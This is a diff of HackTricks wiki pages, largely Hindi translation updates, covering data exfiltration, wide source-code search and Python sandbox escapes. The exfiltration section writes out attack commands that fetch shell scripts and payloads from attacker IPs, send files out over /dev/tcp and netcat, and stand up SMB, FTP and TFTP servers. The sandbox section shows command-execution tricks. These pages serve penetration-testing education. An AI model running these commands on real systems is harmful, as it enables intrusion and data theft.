[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** से प्रेरित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **स्टीलर मैलवेयर** द्वारा **समझौता** किए गए हैं।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मैलवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PRs सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,40 +1,32 @@
|
|||
# Exfiltration
|
||||
|
||||
{% hint style="success" %}
|
||||
सीखें और प्रैक्टिस करें AWS हैकिंग:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और प्रैक्टिस करें GCP हैकिंग: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>हैकट्रिक्स का समर्थन करें</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में।
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard सिक्योरिटी ग्रुप**
|
||||
## सामान्य रूप से व्हाइटलिस्टेड डोमेन जानकारी निकालने के लिए
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
जानकारी निकालने के लिए सामान्य रूप से व्हाइटलिस्टेड डोमेन खोजने के लिए [https://lots-project.com/](https://lots-project.com/) देखें
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
## Copy\&Paste Base64
|
||||
|
||||
***
|
||||
|
||||
## सामान्यत: व्हाइटलिस्टेड डोमेन्स जिनसे सूचना निकाली जा सकती है
|
||||
|
||||
[https://lots-project.com/](https://lots-project.com/) पर जांच करें कि कौन से सामान्यत: व्हाइटलिस्टेड डोमेन्स का दुरुपयोग किया जा सकता है
|
||||
|
||||
## कॉपी\&पेस्ट बेस64
|
||||
|
||||
**लिनक्स**
|
||||
**Linux**
|
||||
```bash
|
||||
base64 -w0 <file> #Encode file
|
||||
base64 -d file #Decode file
|
||||
```
|
||||
**विंडोज**
|
||||
**विंडोज़**
|
||||
```
|
||||
certutil -encode payload.dll payload.b64
|
||||
certutil -decode payload.b64 payload.dll
|
||||
|
@ -48,7 +40,7 @@ wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
|
|||
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
|
||||
fetch 10.10.14.14:8000/shell.py #FreeBSD
|
||||
```
|
||||
**Windows**
|
||||
**विंडोज़**
|
||||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
|
||||
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
|
||||
|
@ -123,7 +115,7 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
|||
```
|
||||
## FTP
|
||||
|
||||
### FTP सर्वर (पायथन)
|
||||
### FTP सर्वर (python)
|
||||
```bash
|
||||
pip3 install pyftpdlib
|
||||
python3 -m pyftpdlib -p 21
|
||||
|
@ -133,7 +125,7 @@ python3 -m pyftpdlib -p 21
|
|||
sudo npm install -g ftp-srv --save
|
||||
ftp-srv ftp://0.0.0.0:9876 --root /tmp
|
||||
```
|
||||
### FTP सर्वर (प्योर-एफटीपी)
|
||||
### FTP सर्वर (pure-ftp)
|
||||
```bash
|
||||
apt-get update && apt-get install pure-ftp
|
||||
```
|
||||
|
@ -151,7 +143,7 @@ mkdir -p /ftphome
|
|||
chown -R ftpuser:ftpgroup /ftphome/
|
||||
/etc/init.d/pure-ftpd restart
|
||||
```
|
||||
### **Windows** ग्राहक
|
||||
### **Windows** क्लाइंट
|
||||
```bash
|
||||
#Work well with python. With pure-ftp use fusr:ftp
|
||||
echo open 10.11.0.41 21 > ftp.txt
|
||||
|
@ -164,14 +156,14 @@ ftp -n -v -s:ftp.txt
|
|||
```
|
||||
## SMB
|
||||
|
||||
काली को सर्वर के रूप में
|
||||
Kali सर्वर के रूप में
|
||||
```bash
|
||||
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
|
||||
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
|
||||
#For new Win10 versions
|
||||
impacket-smbserver -smb2support -user test -password test test `pwd`
|
||||
```
|
||||
या samba का उपयोग करके एक smb साझा बनाएं:
|
||||
या smb शेयर **samba का उपयोग करके** बनाएं:
|
||||
```bash
|
||||
apt-get install samba
|
||||
mkdir /tmp/smb
|
||||
|
@ -186,7 +178,7 @@ guest ok = Yes
|
|||
#Start samba
|
||||
service smbd restart
|
||||
```
|
||||
Windows के लिए एक्सफिल्ट्रेशन
|
||||
Windows
|
||||
```bash
|
||||
CMD-Wind> \\10.10.14.14\path\to\exe
|
||||
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
||||
|
@ -196,13 +188,13 @@ WindPS-2> cd new_disk:
|
|||
```
|
||||
## SCP
|
||||
|
||||
हमलावर को SSHd चल रहा होना चाहिए।
|
||||
हमलावर के पास SSHd चलाना आवश्यक है।
|
||||
```bash
|
||||
scp <username>@<Attacker_IP>:<directory>/<filename>
|
||||
```
|
||||
## SSHFS
|
||||
|
||||
यदि पीड़ित के पास SSH है, तो हमलावर पीड़ित से हमलावर तक एक निर्देशिका माउंट कर सकता है।
|
||||
यदि पीड़ित के पास SSH है, तो हमलावर पीड़ित से एक निर्देशिका को हमलावर पर माउंट कर सकता है।
|
||||
```bash
|
||||
sudo apt-get install sshfs
|
||||
sudo mkdir /mnt/sshfs
|
||||
|
@ -215,12 +207,12 @@ nc -vn <IP> 4444 < exfil_file
|
|||
```
|
||||
## /dev/tcp
|
||||
|
||||
### पीड़ित से फ़ाइल डाउनलोड
|
||||
### पीड़ित से फ़ाइल डाउनलोड करें
|
||||
```bash
|
||||
nc -lvnp 80 > file #Inside attacker
|
||||
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
||||
```
|
||||
### विक्टिम को फ़ाइल अपलोड करें
|
||||
### पीड़ित को फ़ाइल अपलोड करें
|
||||
```bash
|
||||
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
||||
# Inside victim
|
||||
|
@ -249,33 +241,33 @@ sniff(iface="tun0", prn=process_packet)
|
|||
```
|
||||
## **SMTP**
|
||||
|
||||
यदि आप एक SMTP सर्वर को डेटा भेज सकते हैं, तो आप पायथन के साथ डेटा प्राप्त करने के लिए एक SMTP बना सकते हैं:
|
||||
यदि आप डेटा को SMTP सर्वर पर भेज सकते हैं, तो आप डेटा प्राप्त करने के लिए पायथन के साथ एक SMTP बना सकते हैं:
|
||||
```bash
|
||||
sudo python -m smtpd -n -c DebuggingServer :25
|
||||
```
|
||||
## TFTP
|
||||
|
||||
डिफ़ॉल्ट रूप से XP और 2003 में (अन्य में इंस्टॉलेशन के दौरान विशेष रूप से जोड़ना चाहिए)
|
||||
डिफ़ॉल्ट रूप से XP और 2003 में (अन्य में इसे स्थापना के दौरान स्पष्ट रूप से जोड़ा जाना चाहिए)
|
||||
|
||||
काली में, **TFTP सर्वर शुरू करें**:
|
||||
Kali में, **TFTP सर्वर शुरू करें**:
|
||||
```bash
|
||||
#I didn't get this options working and I prefer the python option
|
||||
mkdir /tftp
|
||||
atftpd --daemon --port 69 /tftp
|
||||
cp /path/tp/nc.exe /tftp
|
||||
```
|
||||
**पायथन में TFTP सर्वर:**
|
||||
**TFTP सर्वर पायथन में:**
|
||||
```bash
|
||||
pip install ptftpd
|
||||
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
||||
```
|
||||
**विक्टिम** में, Kali सर्वर से कनेक्ट करें:
|
||||
In **victim**, Kali सर्वर से कनेक्ट करें:
|
||||
```bash
|
||||
tftp -i <KALI-IP> get nc.exe
|
||||
```
|
||||
## PHP
|
||||
|
||||
PHP वनलाइनर के साथ एक फ़ाइल डाउनलोड करें:
|
||||
एक PHP oneliner के साथ एक फ़ाइल डाउनलोड करें:
|
||||
```bash
|
||||
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
||||
```
|
||||
|
@ -315,35 +307,33 @@ echo ts.Close >> wget.vbs
|
|||
```bash
|
||||
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
||||
```
|
||||
## डीबग.एक्सई
|
||||
## Debug.exe
|
||||
|
||||
`डीबग.एक्सई` प्रोग्राम न केवल बाइनरी की जांच की अनुमति देता है बल्कि **हेक्स से उन्हें पुनः निर्माण करने की क्षमता भी है**। इसका मतलब है कि एक बाइनरी के हेक्स प्रदान करके, `डीबग.एक्सई` बाइनरी फ़ाइल उत्पन्न कर सकता है। हालांकि, यह महत्वपूर्ण है कि डीबग.एक्सई का एक **सीमितांकन है जो 64 केबी के आकार तक फ़ाइलों को आसेंबल करने की है**।
|
||||
The `debug.exe` प्रोग्राम न केवल बाइनरी की जांच करने की अनुमति देता है बल्कि इसमें **हैक्स से उन्हें फिर से बनाने की क्षमता भी है**। इसका मतलब है कि एक बाइनरी का हैक्स प्रदान करके, `debug.exe` बाइनरी फ़ाइल उत्पन्न कर सकता है। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि debug.exe में **64 kb आकार तक फ़ाइलों को असेंबल करने की एक सीमा है**।
|
||||
```bash
|
||||
# Reduce the size
|
||||
upx -9 nc.exe
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
```
|
||||
फिर टेक्स्ट को विंडोज-शेल में कॉपी-पेस्ट करें और एक फ़ाइल nc.exe बनाई जाएगी।
|
||||
|
||||
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||||
|
||||
## DNS
|
||||
|
||||
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
**AWS हैकिंग सीखें और प्रैक्टिस करें:** [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
|
||||
**GCP हैकिंग सीखें और प्रैक्टिस करें:** [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>हैकट्रिक्स का समर्थन करें</summary>
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
||||
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** और **हैकट्रिक्स क्लाउड** github रेपो में PR जमा करके।
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,59 +1,45 @@
|
|||
# व्यापक स्रोत कोड खोज
|
||||
# Wide Source Code Search
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में।
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard सुरक्षा समूह**
|
||||
इस पृष्ठ का लक्ष्य **प्लेटफार्मों की गणना करना है जो कोड** (शाब्दिक या regex) को हजारों/लाखों रिपोजिटरी में एक या अधिक प्लेटफार्मों में खोजने की अनुमति देते हैं।
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
यह कई अवसरों पर **लीक की गई जानकारी** या **कमजोरियों** के पैटर्न की खोज में मदद करता है।
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
इस पृष्ठ का उद्देश्य है **प्लेटफॉर्मों की सूची बनाना जो कोड खोजने की अनुमति देती हैं** (शब्दांश या रेजेक्स) हजारों/लाखों रेपो में एक या अधिक प्लेटफॉर्मों पर।
|
||||
|
||||
यह कई अवसरों में मदद करता है **लीक हुई जानकारी** या **कमजोरियों** के पैटर्न खोजने में।
|
||||
|
||||
* [**SourceGraph**](https://sourcegraph.com/search): मिलियनों रेपो में खोजें। एक मुफ्त संस्करण और एक एंटरप्राइज संस्करण (15 दिन का मुफ्त) है। यह रेजेक्स समर्थित करता है।
|
||||
* [**Github खोज**](https://github.com/search): Github में खोजें। यह रेजेक्स समर्थित करता है।
|
||||
* शायद यह उपयोगी हो सकता है [**Github कोड खोज**](https://cs.github.com/) भी देखना।
|
||||
* [**Gitlab उन्नत खोज**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Gitlab परियोजनाओं में खोजें। रेजेक्स समर्थित है।
|
||||
* [**SearchCode**](https://searchcode.com/): लाखों परियोजनाओं में कोड खोजें।
|
||||
* [**SourceGraph**](https://sourcegraph.com/search): लाखों रिपोजिटरी में खोजें। इसमें एक मुफ्त संस्करण और एक एंटरप्राइज संस्करण (15 दिनों के लिए मुफ्त) है। यह regex का समर्थन करता है।
|
||||
* [**Github Search**](https://github.com/search): Github में खोजें। यह regex का समर्थन करता है।
|
||||
* शायद [**Github Code Search**](https://cs.github.com/) की जांच करना भी उपयोगी हो।
|
||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Gitlab प्रोजेक्ट्स में खोजें। regex का समर्थन करता है।
|
||||
* [**SearchCode**](https://searchcode.com/): लाखों प्रोजेक्ट्स में कोड खोजें।
|
||||
|
||||
{% hint style="warning" %}
|
||||
जब आप किसी रेपो में लीक खोजते हैं और `git log -p` जैसी कुछ चलाते हैं, तो याद रखें कि **अन्य शाखाएं भी हो सकती हैं जिनमें अन्य कमिट्स** जो सीक्रेट्स रखते हैं!
|
||||
जब आप किसी रिपोजिटरी में लीक की तलाश कर रहे हों और कुछ ऐसा चलाते हैं जैसे `git log -p` तो न भूलें कि वहाँ **अन्य शाखाएँ हो सकती हैं जिनमें अन्य कमिट्स** हो सकते हैं जिनमें रहस्य हो सकते हैं!
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard सुरक्षा समूह**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में।
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,25 @@
|
|||
# Python सैंडबॉक्स को बायपास करें
|
||||
# Bypass Python sandboxes
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
ये कुछ तरकीबें हैं जो पायथन सैंडबॉक्स सुरक्षा को बायपास करने और मनचाहे कमांड को निष्पादित करने के लिए हैं।
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
## Command Execution Libraries
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
ये कुछ ट्रिक्स हैं जो पायथन सैंडबॉक्स सुरक्षा को बायपास करने और मनचाहे कमांड को निष्पादित करने के लिए हैं।
|
||||
|
||||
## कमांड निष्पादन पुस्तकालय
|
||||
|
||||
आपको सबसे पहले यह जानने की आवश्यकता है कि क्या आप किसी पहले से आयातित पुस्तकालय के साथ सीधे कोड निष्पादित कर सकते हैं, या क्या आप इनमें से किसी भी पुस्तकालय को आयात कर सकते हैं:
|
||||
पहली बात जो आपको जाननी चाहिए वह यह है कि क्या आप किसी पहले से आयातित पुस्तकालय के साथ सीधे कोड निष्पादित कर सकते हैं, या यदि आप इनमें से किसी भी पुस्तकालय को आयात कर सकते हैं:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
|
@ -66,7 +58,7 @@ system('ls')
|
|||
**Python2 input()** फ़ंक्शन प्रोग्राम क्रैश होने से पहले python कोड को execute करने की अनुमति देता है।
|
||||
{% endhint %}
|
||||
|
||||
Python पहले **वर्तमान निर्देशिका से पुस्तकालयों को लोड करने** की कोशिश करता है (निम्नलिखित कमांड यह प्रिंट करेगा कि python मॉड्यूल कहाँ से लोड कर रहा है): `python3 -c 'import sys; print(sys.path)'`
|
||||
Python पहले **वर्तमान निर्देशिका से पुस्तकालयों को लोड करने की कोशिश करता है** (निम्नलिखित कमांड यह प्रिंट करेगा कि python मॉड्यूल कहाँ से लोड कर रहा है): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
![](<../../../.gitbook/assets/image (559).png>)
|
||||
|
||||
|
@ -160,7 +152,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
|||
```
|
||||
## Bypassing protections through encodings (UTF-7)
|
||||
|
